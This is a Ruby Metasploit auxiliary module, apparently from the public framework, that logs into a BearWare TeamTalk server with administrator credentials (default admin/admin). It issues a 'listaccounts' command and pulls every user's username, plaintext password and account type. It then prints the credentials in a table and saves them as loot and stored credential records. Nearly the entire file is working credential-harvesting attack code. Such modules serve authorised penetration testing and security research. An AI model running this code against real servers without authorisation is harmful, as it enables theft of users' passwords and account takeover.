178 lines
4.8 KiB
Ruby
178 lines
4.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'TeamTalk Gather Credentials',
|
|
'Description' => %q{
|
|
This module retrieves user credentials from BearWare TeamTalk.
|
|
|
|
Valid administrator credentials are required.
|
|
|
|
This module has been tested successfully on TeamTalk versions
|
|
5.2.2.4885 and 5.2.3.4893.
|
|
},
|
|
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
|
'References' =>
|
|
[
|
|
# Protocol documentation
|
|
['URL', 'https://github.com/BearWare/TeamTalk5/blob/master/ttphpadmin/tt5admin.php']
|
|
],
|
|
'License' => MSF_LICENSE))
|
|
register_options [
|
|
Opt::RPORT(10333),
|
|
OptString.new('USERNAME', [true, 'The username for TeamTalk', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'The password for the specified username', 'admin'])
|
|
]
|
|
end
|
|
|
|
def run
|
|
vprint_status 'Connecting...'
|
|
|
|
connect
|
|
banner = sock.get_once
|
|
|
|
unless banner =~ /^teamtalk\s.*protocol="([\d\.]+)"/
|
|
fail_with Failure::BadConfig, 'TeamTalk does not appear to be running'
|
|
end
|
|
|
|
print_status "Found TeamTalk (protocol version #{$1})"
|
|
|
|
report_service :host => rhost,
|
|
:port => rport,
|
|
:proto => 'tcp',
|
|
:name => 'teamtalk'
|
|
|
|
vprint_status "Authenticating as '#{username}'"
|
|
|
|
req = "login username=\"#{username.tr('"', '\"')}\" password=\"#{password.tr('"', '\"')}\""
|
|
res = send_command req
|
|
|
|
unless res.to_s.starts_with? 'accepted'
|
|
fail_with Failure::NoAccess, 'Authentication failed'
|
|
end
|
|
|
|
print_good 'Authenticated successfully'
|
|
|
|
if res =~ /usertype=2/
|
|
print_good 'User is an administrator'
|
|
else
|
|
print_warning 'User is not an administrator'
|
|
end
|
|
|
|
vprint_status "Retrieving users..."
|
|
|
|
res = send_command 'listaccounts'
|
|
|
|
if res =~ /^error/ && res =~ /message="Command not authorized"/
|
|
print_error 'Insufficient privileges'
|
|
return
|
|
end
|
|
|
|
unless res =~ /^ok\r?\n?\z/
|
|
print_error 'Unexpected reply'
|
|
return
|
|
end
|
|
|
|
cred_table = Rex::Text::Table.new 'Header' => 'TeamTalk User Credentials',
|
|
'Indent' => 1,
|
|
'Columns' => ['Username', 'Password', 'Type']
|
|
|
|
res.each_line do |line|
|
|
line.chomp!
|
|
next unless line =~ /^useraccount/
|
|
|
|
user = line.scan(/\s+username="(.*?)"\s+password=/).flatten.first.to_s.gsub('\"', '"')
|
|
pass = line.scan(/\s+password="(.*?)"\s+usertype=/).flatten.first.to_s.gsub('\"', '"')
|
|
type = line.scan(/\s+usertype=(\d+)\s+/).flatten.first
|
|
|
|
cred_table << [ user, pass, type ]
|
|
report_cred user: user,
|
|
password: pass,
|
|
type: type,
|
|
proof: line
|
|
end
|
|
|
|
if cred_table.rows.empty?
|
|
print_error 'Did not find any users'
|
|
return
|
|
end
|
|
|
|
print_status "Found #{cred_table.rows.size} users"
|
|
print_line
|
|
print_line cred_table.to_s
|
|
|
|
p = store_loot 'teamtalk.user.creds',
|
|
'text/csv',
|
|
rhost,
|
|
cred_table.to_csv,
|
|
'TeamTalk User Credentials'
|
|
|
|
print_good "Credentials saved in: #{p}"
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
|
print_error e.message
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
private
|
|
|
|
def username
|
|
datastore['USERNAME'] || ''
|
|
end
|
|
|
|
def password
|
|
datastore['PASSWORD'] || ''
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: rhost,
|
|
port: rport,
|
|
service_name: 'teamtalk',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge service_data
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
access_level: opts[:type],
|
|
proof: opts[:proof]
|
|
}.merge service_data
|
|
|
|
create_credential_login login_data
|
|
end
|
|
|
|
def send_command(cmd = '')
|
|
cmd_id = rand(1000)
|
|
sock.put "#{cmd} id=#{cmd_id}\n"
|
|
|
|
res = ''
|
|
timeout = 15
|
|
Timeout.timeout(timeout) do
|
|
res << sock.get_once until res =~ /^end id=#{cmd_id}/
|
|
end
|
|
|
|
res.to_s.scan(/begin id=#{cmd_id}\r?\n(.*)\r?\nend id=#{cmd_id}/m).flatten.first
|
|
rescue Timeout::Error
|
|
print_error "Timeout (#{timeout} seconds)"
|
|
rescue => e
|
|
print_error e.message
|
|
end
|
|
end
|